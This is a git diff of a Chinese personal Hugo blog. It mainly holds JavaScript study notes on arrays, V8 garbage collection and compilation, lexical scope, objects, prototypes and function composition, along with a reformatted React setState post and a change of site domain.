+</code></pre><p>闭包会导致内存溢出</p><p>数组</p><p>Array数组构造器</p><p>let arr = Array(3)</p><p>当Array构造器的参数长度为0或者大于等于2时，传入的参数按顺序变成新数组的元素（参数长度为0，返回空数组）</p><p>当Array构造器存在1个数值参数时，这个参数最大不能超过2的32次方</p><p>Array.of()方法可以将参数按照顺序变成数组的元素，然后返回这个新数组，这个参数可以是数值（而且不会被用来创建指定长度的数组）</p><p>Array.from()方法有3个参数，类似于数组的对象，加工函数，this作用域（加工函数中this的指向）</p><pre><code>let arr = {
+    0:'abc',
+    1: 'xyz',
+    2: 'hallo word',
+    length: 3
+}
+let abc = Array.from(arr,function(value,index){
+    console.log(value,index,this)
+    return value.repeat(3)
+},arr)
+console.log(abc)
+</code></pre><p>Array.isArray方法可以判断是否是数组</p><p>类数组的对象（和数组类似，但是没有数组的方法）：函数的arguments，HTMLCollection，NodeList</p><p>类数组转真数组：</p><pre><code>let abc = {
+    0: 'hhh',
+    1: 'bbb',
+    2: 'abc',
+    length: 3
+}
+console.log(abc)
+let a = Array.from(abc)
+console.log(a)
+let b = Array.prototype.concat.apply([], abc)
+console.log(b)
+let c = Array.prototype.slice.call(abc)
+console.log(c)
+</code></pre><p>数组扁平化（将一个多维数组转换为只有一层的数组）</p><p>通过递归实现，只要元素还是个数组，就进行递归操作</p><p>通过reduce函数迭代</p><p>通过扩展运算符实现</p><p>通过toString().split(&rsquo;,&rsquo;)实现</p><p>通过flat()方法实现</p><p>例如：</p><pre><code>let arr = [2,[3,5,6,10,[1,2,3],56,88],44,66]
+function arrData(arr){
+    return arr.flat(Infinity)
+}
+console.log(arrData(arr)) // [2, 3, 5, 6, 10, 1, 2, 3, 56, 88, 44, 66]
+</code></pre><p>通过JSON.stringify()和正则实现（先将数组转换为json字符串，然后通过正则(/([|])/g）过滤掉[]，得到的字符串再通过JSON.parst()转换回</p><p>v8引擎垃圾回收</p><p>基础类型使用栈内存（按值访问），可以使用操作系统进行处理，而引用类型的堆内存需要经常变化（使用引用内存地址访问），大小不固定，需要使用垃圾回收机制来处理</p><p>Sting和Number和Boolean和null和undefined和Symbol类型的变量将存储于栈内存，其他类型都存储于堆内存中</p><p>v8引擎的堆内存分为2类，新生代内存和老生代内存</p><p>在64位操作系统中，新生代内存空间为32MB</p><p>新生代中的变量经过一次Scavenge算法回收后，就可以被放入老生代内存中</p><p>Scavenge算法将新生代内存分为from-space和to-space两个区域</p><p>新生代内存中变量先存储在from-space区，存活的变量将转移到to-space区域，然后将那些在from-space区中不活跃的变量清除释放，执行完毕，再to-space和from-space互换</p><p>老生代内存垃圾回收机制，Mark-Sweep（标记清除）和Mark-Compact（标记整理）</p><p>Mark-Sweep（标记清除）：先遍历堆上所有对象，并且打上标记，在代码执行完成后，对使用过的变量进行标记取消，而且存在标记的变量就是没有使用过的变量，将这些变量进行垃圾回收</p><p>Mark-Compact（标记整理）：（解决标记清除机制的内存碎片化的影响）将内存空间往一端靠拢，直接清除边界外的内存</p><p>内存泄露：已经分配堆内存地址的对象长时间没有释放或者无法释放，造成内存长期占用，导致应用响应变慢或者崩溃的情况</p><p>内存泄露优化：减少全局变量，使用完定时器后及时清除定时器，避免死循环</p><p>将一个强引用类型赋值为null，并不会直接导致其被GC，而是解除其引用，方便下次GC能回收它</p><p>解决因闭包导致的内存泄露，在不使用一个闭包函数时，应该手动将其引用变量设置为null，解除引用</p><p>V8引擎执行JavaScript程序的阶段（因为v8使用了java虚拟机，c++编译器的技术，使JavaScript执行存在编译器）</p><p>Parse阶段：将JavaScript代码转换为AST（抽象语法树）</p><p>Ignition阶段：解释器将AST转换为字节码，然后解析执行字节码，并且提供编译所需要的信息</p><p>TurboFan阶段：编译器使用Ignition阶段的编译信息，将字节码转换为可执行的机器码</p><p>Orinoco阶段：垃圾回收阶段，将不使用的内存空间进行垃圾回收</p><p>生成AST有两个阶段，词法分析和语法分析</p><p>词法分析阶段会将JavaScript代码解析拆成不能再分的词法单元（token），直接忽略空格</p><p>语法分析阶段将词法单元转换为由元素逐级嵌套而成的语法结构树，这个树叫抽象语法树</p><hr><p>JavaScript借用方法（重用其他对象的方法和函数，无需从该对象继承）</p><p>例如一个类数组（类数组并没有数组的方法），借用数组的方法，通过call()，apply()和bind()方法实现</p><pre><code>let arrObj = {
+    0:'abc',
+    1: 'xyz',
+    2: 'hallo word',
+    length: 3
+}
+let arr1 = Array.prototype.join.bind(arrObj,',')
+let arr2 = Array.prototype.pop.call(arrObj)
+let arr3 = Array.prototype.push.apply(arrObj,['hhh'])
+console.log(arr1())
+console.log(arr2)
+console.log(arr3)
+console.log(arrObj)
+</code></pre><p>从Array.prototype可以看到这些方法是在类型的原型上定义的，当然其他自定义方法也是可以通过对象.方法的方式借用</p><p>通过字面量（Literals）实现</p><p>在JavaScript中，使用字面量可以代表值。它们是固定值，不是变量，就是在脚本中按字面给出的。</p><pre><code>let arrObj = {
+    0:'abc',
+    1: 'xyz',
+    2: 'hallo word',
+    length: 3
+}
+let arr1 = [].join.bind(arrObj,',')
+console.log(arr1())
+</code></pre><p>[]表示Array.prototype，还有&rsquo;&lsquo;表示stringObject</p><hr><p>createDocumentFragment && requestAnimationFrame渲染大量</p><p>document.createDocumentFragment()会返回一个DocumentFragment对象，这个对象是DOM节点，但又不是主DOM树的一部分，其是用于创建文档片段，文档片段在内存中，将元素插入文档片段不会导致回流，而且文档片段是直接附加在主DOM树上</p><p>window.requestAnimationFrame()，该方法会在浏览器的重绘之前执行一个回调函数</p><p>DocumentFragment对象是一个没有父对象的文档对象，DocumentFragment和document区别就是DocumentFragment不是真实DOM树的一部分，但是它可以挂载在真实DOM树上</p><p>实现渲染10000条div数据</p><pre><code>let count = 0
+function callback(){
+    const nums = 10000 // 一共插入10000条
+    const num = 100 // 一次插入100条
+    let loop = Math.ceil(nums / num) // 计算需要执行多少次
+    const app = document.querySelector(&quot;#app&quot;)
+    const data = 'hallo word'
+    const vmDOM = document.createDocumentFragment()
+    for (let i = 0; i &lt; num; i++) {
+        const div = document.createElement(&quot;div&quot;)
+        div.innerHTML = data
+        vmDOM.appendChild(div)
+    }
+    app.appendChild(vmDOM)
+    count++
+    if (count &lt; loop) {
+        window.requestAnimationFrame(callback)
+    }
+}
+callback()
+</code></pre><p>document.createDocumentFragment()和直接操作DOM，测试结果说明并不是每操作一次dom都会导致渲染，而且是将短时间的dom操作合并在一起，然后统一渲染，操作10000次DOM，并不会触发10000次渲染，而是在一定的时间内的多次操作合并成一次操作，并且在一定的时间内执行该操作，最后渲染，这得益于现代浏览器的优化</p><hr><p>Promise/A+规范</p><p>Promise有很多规范，ES6使用的就是Promise A+规范</p><p>Promise A+规范：</p><p>Promise是具备then方法的对象或者函数</p><p>Promise需要存在3个状态：等待态（pending），成功态（fulfilled），失败态（rejected）</p><p>并且Promise初始状态为等待（pending），在等待态（pending）状态时可以转为成功态（fulfilled）或者失败态（rejected）其中之一</p><p>当处于成功态（fulfilled）时，不能改变其状态，还需具备一个不可改变的返回值（value）</p><p>当处于失败态（rejected）时，也不能改变其状态，还需具备一个不可改变的返回原因（reason）</p><p>需要提供then()方法来返回成功的结果或者失败的原因（传入2个可选参数，onFulfilled和onRejected，如果是函数的话，会在Promise执行完毕后调用，如果不是函数的话会忽略，onFulfilled和onRejected都只能被调用一次）</p><p>当处于成功态（fulfilled）之后，执行onFulfilled，返回value，当处于失败态（rejected）之后，执行onRejected，返回reason</p><p>then()可在同一个Promise被多次调用，then()必须返回一个promise对象</p><p>手写Promise</p><hr><p>JavaScript引擎（例如v8）可以让JavaScript符合了一些编译语言的特点（词法分析/分词，语法分析/解析，编译转换）（虽然不是提前编译执行）</p><p>词法分析/分词(Tokenizing/Lexing)：将程序源代码分成一个个的词法单元（token），而词法分析就是将源代码转换为词法单元，具体通过符号表来确定是变量还是函数什么的</p><p>语法分析/解析：将词法单元流转换为抽象语法树（AST, Abstract Syntax Tree）,这个抽象树表示了整个程序的语法结构</p><p>注意：并不是词法分析器获取完全部的词法单元后在再进行语法分析的，而是先获取一个词法单元后直接进行语法分析</p><p>编译转换：将AST语法树转换为可执行的机器码（引擎可根据语法树一边编译一边执行）</p><p>一边编译一边执行有个缺点，当某段代码频繁执行时（例如函数）就会导致重复编译（提前编译的可以在执行前就是处理好），因此添加了一种叫JIT（Just-in-time，即时编译）</p><p>JIT在JavaScript引擎中添加了一个监视器，可观察运行的代码，并且记录每段代码的运行次数和变量的类型</p><p>当某段代码执行了多次，监视器就会给这段代码标识为Warm，如果是执行很多次的话，会标识为Hot</p><p>当某段代码被标识为Warm后，JIT将其发送给基线编译器（Baseline compiler）编译，并且将编译结果存储起来，并且以行号，变量类型作为索引，当执行了符合索引的代码时，直接执行之前编译的代码，不需要重复编译</p><p>当某段代码被标识为Hot后，JIT将其发送给优化编译器（Optimizing compiler）编译优化，是通过假设（根据概率模型）变量类型（当存在多个假设时（如果只有一个假设时，直接执行对应的编译结果），会在执行前进行类型检查，来证明假设，如果假设不成立，会导致反优化（将使用编译器或者基数编译器处理（假设多次失败实质比直接编译还慢，因此浏览器做出了限制，当出现多次优化失败时，会放弃处理这个）））</p><hr><p>作用域</p><p>作用域是一套可以根据名称来查找变量的规则（每个作用域负责管理自己地方的变量），当多重嵌套作用域时，会形成作用域链，在当前作用域中查找不到，会向上一级查找，一直查找到全局作用域，如果还是没有找到就是报错</p><p>LHS查询和RHS查询</p><p>LHS查询是获取变量的实质内存（赋值操作，例如let a = 123），RHS查询是获取变量的值（例如console.log(a)，这个就是RHS查询）</p><p>注意：函数传递参数也是LHS查询，只不过变量变成函数的参数而已，而且当作用域链找不到LHS查询的目标时，作用域会创建一个同名的变量到全局作用域中（隐式创建变量，前提是要在非严格模式中）</p><p>在作用域链中，当前作用域的RHS查询或者LHS查询任务完不成，是可以到上一级作用域中完成的</p><p>词法作用域</p><p>作用域有两种，词法作用域和动态作用域，在JavaScript中的作用域就是词法作用域，虽然JavaScript没有动态作用域，但是可以用this来实现相似的效果</p><p>词法作用域就是在词法分析/分词阶段的作用域，一般情况下词法作用域在定义后是不会改变的（有个例外是，欺骗词法作用域，例如利用eval或者with欺骗）</p><p>函数的词法作用域是由函数被定义时所处的位置决定，不会被函数如何调用，在哪调用而影响</p><p>由于作用域查找会在找到第一个目标时会停止的特性，在多重嵌套作用域环境下，其他和目标同名的会被遮蔽找不到，除了全局对象外（全局作用域下的变量会自动变成全局对象的属性（例如window.abc）,可以通过查找全局对象属性来访问到被遮蔽的变量），其他被遮蔽的无论如何都访问不了</p><p>欺骗词法作用域</p><p>eval()允许接收一个字符串作为其参数，并且执行，例如</p><pre><code>function abc(str,b){
+    eval(str)
+    console.log(a,b)
+}
+var a = 123
+abc(&quot;var a = 666&quot;,100) // 666 100
+</code></pre><p>这里利用eval()传递并且执行了"var a = 666"到abc()函数中，改变了该函数的词法作用域，同时遮蔽了全局作用域中的a变量，这个前提是在非严格模式中，因为在严格模式中eval()在运行时会拥有自己的作用域，导致无法修改其所在的作用域</p><p>with()可以扩展语句的作用域链（注意：在ES5严格模式中，with被完全禁用了）</p><pre><code>let abc ={
+    a: 123,
+    b: 666
+}
+with(abc){
+    a = 666
+    b = 123
+}
+</code></pre><p>with()可以将对象处理成词法作用域，在with内部中对象的属性也会变成这个词法作用域的词法标识符，从而改变原来的词法作用域，例如：</p><pre><code>let abc ={
+    a: 123,
+    b: 666
+}
+function xyz(obj){
+    with(obj){
+        a = 666
+        b = 123
+    }
+}
+xyz(abc)
+console.log(abc.a,abc.b)
+</code></pre><p>函数作用域（函数会为其创建一个它私有的作用域）</p><p>在函数中定义的变量将成为其词法作用域中的标识符，无法在外部作用域中获取，在多重嵌套作用域中，外部作用域定义的变量，可以在内部作用域访问，但是外部作用域无法访问内部作用域</p><p>函数作用域可以用于隐藏自身不影响外部，因此也可以避免污染外部环境（命名冲突）</p><p>IIFE（立即执行函数表达式）</p><p>由于正常的函数名也会污染外部环境，因此可使用IIFE解决，当不需要函数名时，这玩意很有用（就算有函数名也不会污染外部）</p><p>有两种编写方式，分别是(function abc(){})()和(function abc(){}())</p><pre><code>(function abc( funs ) {
+    let xyz = {
+        a: 123
+    }
+    funs(xyz)
+})(function funs(xyz) {
+    let a = 666
+    console.log(a)
+    console.log(xyz.a)
+})
+</code></pre><p>块作用域</p><p>在let出现之前，可以使用try/catch创建块作用域，其声明的变量只能在catch语句块中使用，例如：</p><pre><code>try{
+    throw undefined // 手动制造异常
+}catch(a){
+    a = 123
+    console.log(a)
+}
+console.log(a) // a is not defined
+</code></pre><p>let关键字可以将变量隐式绑定到其所在的块作用域中（{&mldr;}内部），只有其作用域内部可以访问，在外部访问会报错，使用let定义的变量是属于一个全新的作用域，而不是当前的函数作用域或者全局作用域，除let关键字外，还有const关键字也可以，只不过const定义的是常量，在定义后不能修改（修改导致报错）</p><hr><p>对象</p><p>对象可通过new Object()定义，也可以通过键值对来定义</p><pre><code>let obj = new Object()
+obj.key = &quot;hallo&quot;
+let obj1 = { key: &quot;hallo&quot;}
+</code></pre><p>注意：null不是对象，因为JavaScript会将二进制前三位为0的变量判断为object类型，而null的二进制表示全为0，因此使用typeof判断值为null的变量的类型，会返回object</p><p>000开头是对象，1开头是整数，010是浮点数，100是字符串，110是布尔</p><p>注意：基础类型并不是对象，例如"hallo word"是字符串字面量，并不能直接修改值或者访问属性，但是JavaScript会将字符串字面量自动转换为string对象，但是这并不代表基础类型就是对象，数值字面量也会被转换为number类型</p><p>对象是引用类型，这表示其真实的值存储中内存中，而对象内部存储的不过是指针引入，指向存储了该值的内存</p><p>数组对象，数组内部存储的位置是索引（整数）</p><p>注意：给数组添加属性，不要使用纯数字的属性名，因为当使用纯数字的属性名，JavaScript会将其认为是索引，从而认为其是添加一个新值，而不是添加一个属性</p><p>复制对象（深拷贝，浅拷贝）</p><p>对象属性描述符（es5之后属性拥有了属性描述符，例如writable（是否可以修改属性的值），enumerable（可枚举）和 configurable（可设置））</p><p>创建属性时属性描述符默认使用默认值</p><pre><code>let Obj = {}
+Object.defineProperty( Obj, &quot;key&quot;, { 
+    value: &quot;hallo word&quot;, 
+    writable: true, // 可修改属性值
+    configurable: true,  // 可重新通过Object.defineProperty设置属性描述符
+    enumerable: true // 可被属性枚举，例如for in语句，如果为false，那么该属性不会出现在属性枚举中，例如in操作枚举
+});
+</code></pre><p>因此可通过writable，configurable设置为false，来创建常量属性</p><p>设置对象不再可扩展新属性，可使用Object.preventExtensions()</p><pre><code>let obj1 = { key: &quot;hallo&quot;}
+Object.preventExtensions(obj1)
+obj1.nums = 666
+console.log(obj.nums) // undefined
+</code></pre><p>设置对象不再可扩展新属性并且不能修改现有属性的配置或者删除属性（可以修改属性值），可以使用Object.seal()</p><pre><code>let obj1 = { key: &quot;hallo&quot;}
+Object.seal(obj1)
+obj1.nums = 666
+console.log(obj.nums) // undefined
+</code></pre><p>当然也可以在Object.seal()基础上，禁止修改属性值，Object.freeze()</p><pre><code>let obj1 = { key: &quot;hallo&quot;}
+Object.freeze(obj1)
+obj1.key = &quot;hahaha&quot; // TypeError
+</code></pre><p>注意：在访问属性时，会在该对象中查找是否存在名字相同的属性，如果存在就返回该属性的值，如果没有找到就会触发原型链机制</p><p>在设置属性时，会检查是否存在描述符，检查是否设置（writable），如果不可设置，在非严格模式下静默失败，在严格模式中抛出typeerror异常错误</p><p>getter和setter</p><p>定义一个可获取属性值的方法（getter），定义一个可设置属性值的方法（setter）</p><pre><code>let obj1 = { 
+    key: &quot;hallo&quot;,
+    get a(){
+        return this.key
+    },
+    set b(abc){
+        this.key = abc
+    }
+}
+console.log(obj1.a) // hallo
+obj.b = &quot;hahaha&quot;
+console.log(obj1.a) // hahaha
+</code></pre><p>正确地判断属性是否存在，属性值可设置为undefined，并不一定是属性不存在导致返回的undefined,解决这种情况有2种方法，一个是通过in操作符（可通过原型链查找），另一个是通过Object.hasOwnProperty()，Object.hasOwnProperty()只检查该属性是否存在该对象中，例如：</p><pre><code>let obj1 = {
+    key: 123
+}
+(&quot;key&quot; in obj1)
+obj1.hasOwnProperty(&quot;key&quot;)
+</code></pre><p>注意：hasOwnProperty方法是object对象的内置方法，如果没有链接到object原型链上的对象，是不能使用该方法的，只能通过借用方法来使用该方法，例如：Object.prototype.hasOwnProperty. call(obj1,&ldquo;key&rdquo;)</p><p>检查该属性是否可枚举</p><pre><code>obj1.propertyIsEnumerable(&quot;key&quot;) // 返回布尔值，检查该属性是否直接存在于对象中（并不在原型链中，并且可枚举）
+Object.keys(obj1) // 返回数组，该数组的元素为该对象全部可枚举属性
+Object.getOwnPropertyNames(obj1) // 返回数组，该数组的元素为该对象属性，不管是否可枚举，并不会返回原型链的属性，只返回该对象中直接包含的属性
+</code></pre><p>遍历数组（forEach()，every()，some()）</p><p>forEach()遍历数组中全部值，并且忽略回调函数的返回值</p><p>every()运行到回调函数返回false</p><p>some()运行到回调函数返回true</p><p>for of()语句会向被遍历对象请求迭代器对象，然后通过迭代器对象的next()来遍历全部返回值</p><p>类，继承，实例化</p><p>类简单来说就是蓝图，而实例化就是根据蓝图建造出房子</p><p>继承是指一个子类继承了一个父类的特性（属性以及方法都被继承，当然也可以重写属性和方法），父类和子类不存在直接关系，而且父类和子类的构造函数可通过prototype联系到</p><p>方法的多态性（取决于在哪个类的实例使用它）</p><p>js并不支持多态，多态（或者理解为重载）实质上就是重写父类的方法，然后通过不同的类实例化，引用不同类的实例下的同名方法</p><p>在继承链中不同级别（子类，父类，祖先类）的同一个方法名可以被多次定义，调用的是哪个方法取决于是通过哪个类实例化出来的</p><p>原型</p><p>当获取一个对象的属性时，但是这个属性并不直接存在于该对象中时，就会访问对象的prototype链中，例如：</p><pre><code>let obj = {
+    a: &quot;hallo word&quot;,
+};
+let obj1 = Object.create(obj)
+console.log(obj1.a)
+</code></pre><p>上面例子中通过Object.create()创建来一个obj1.prototype可以连接到obj中的对象，哪怕obj1.a并没有在该对象中定义该属性，还是可以通过obj1.prototype获取到obj.a的属性值</p><p>原型链查找的终点是Object.prototype，如果还是没有找到就返回undefined</p><p>如果原型链底层中的对象存在原型链高层的相同属性名时，将会屏蔽高层的属性，因为原型链只获取最近的一个属性</p><hr><p>PWA，Progressive Web App（渐变式web应用），pwa技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能</p><p>pwa可通过Service Worker来进行下载，打开pwa应用后，</p><p>Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖于HTTPS通信</p><p>manifest.json：让web应用具备app的效果，例如logo，启动页面</p><hr><p>高阶函数（惰性函数/柯里化函数/compose组合函数）</p><p>Compose（组合函数）</p><p>组合函数顾名思义，就是将多个函数组合在一起，当一个函数的参数是另一个函数的返回值时，导致复杂的嵌套关系例如“funs(a(b(c)))”，而Compose可以做到调用函数的扁平化，例如：</p><pre><code>function compose(...funs){
+    return function(...abc){
+        if(funs.length === 0){
+        return funs
+        }
+        if(funs.length === 1){
+            return funs[0]
+        }
+        return funs.reduce(function(a,b){
+            console.log(a)
+            console.log(b)
+            if(typeof a === &quot;function&quot;){
+                return b(a(...abc))
+            }else{
+                return b(a)
+            }
+        })
+    }
+}
+function a(x){
+    return x + 100
+}
+function b(x){
+    return x * 100
+}
+function c(x){
+    return x - 100
+}
+function d(x){
+    return x / 100
+}
+function e(x){
+    return x % 100
+}
+let abc = compose(a,b,c,d,e)(1000)
+let xyz = compose(a)(1000)
+let hhh = compose(a,b)(1000)
+console.log(xyz)
+console.log(hhh)
+console.log(abc)
+console.log(a(b(c(d(e(1000)))))) //对比一下正确的答案
+</code></pre><p>惰性函数</p><p>柯里化函数</p><hr><p>class类的装饰器（Decorator）</p><hr><p>Set/Map/WeakSet/WeakMap</p><hr><p>Generator生成器和Interator迭代器</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/63/><span class=title>« Prev</span><br><span>深入学习React</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/58/><span class=title>Next »</span><br><span>TypeScript学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/63/index.html b/posts/63/index.html
index 60c3729c..ca9fb3e9 100644
--- a/posts/63/index.html
+++ b/posts/63/index.html
@@ -2,16 +2,16 @@
 注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）
 setState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据
 如果当前setState()依赖于前面的setState()，解决方法：
-this.setState((state, props) =>{
return{
count: state.count + 1
}
})
console.log(this.state.count)
this.setState((state, props) =>{
return{
count: state.count + 1
}
})
console.log(this.state.count)
state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
+this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =>{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props
 如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数
 例如：
-this.setState((state, props) =>{
return{
count: state.count + 1
}
},() => {
console.log(this.state.count)
})
可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
+this.setState((state, props) =>{ return{ count: state.count + 1 } },() => { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值
 因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新
 jsx语法的转化
 jsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法
 而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新
 例如：
-const Abc = (
<div>hallo</div>
)
console.log(Abc)
可以看到输出返回的是一个js对象
+const Abc = ( <div>hallo</div> ) console.log(Abc) 可以看到输出返回的是一个js对象
 React.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）
 组件更新机制
 setState()的作用：修改state，更新组件
@@ -23,21 +23,21 @@
 如果需要在多个方法中使用（共享）的数据，应该放在this中
 因为组件更新机制的原因，子组件没有变化也会重新渲染
 解决方法：
-使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/63/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="深入学习React"><meta property="og:description" content="setState()
+使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/63/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="深入学习React"><meta property="og:description" content="setState()
 注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）
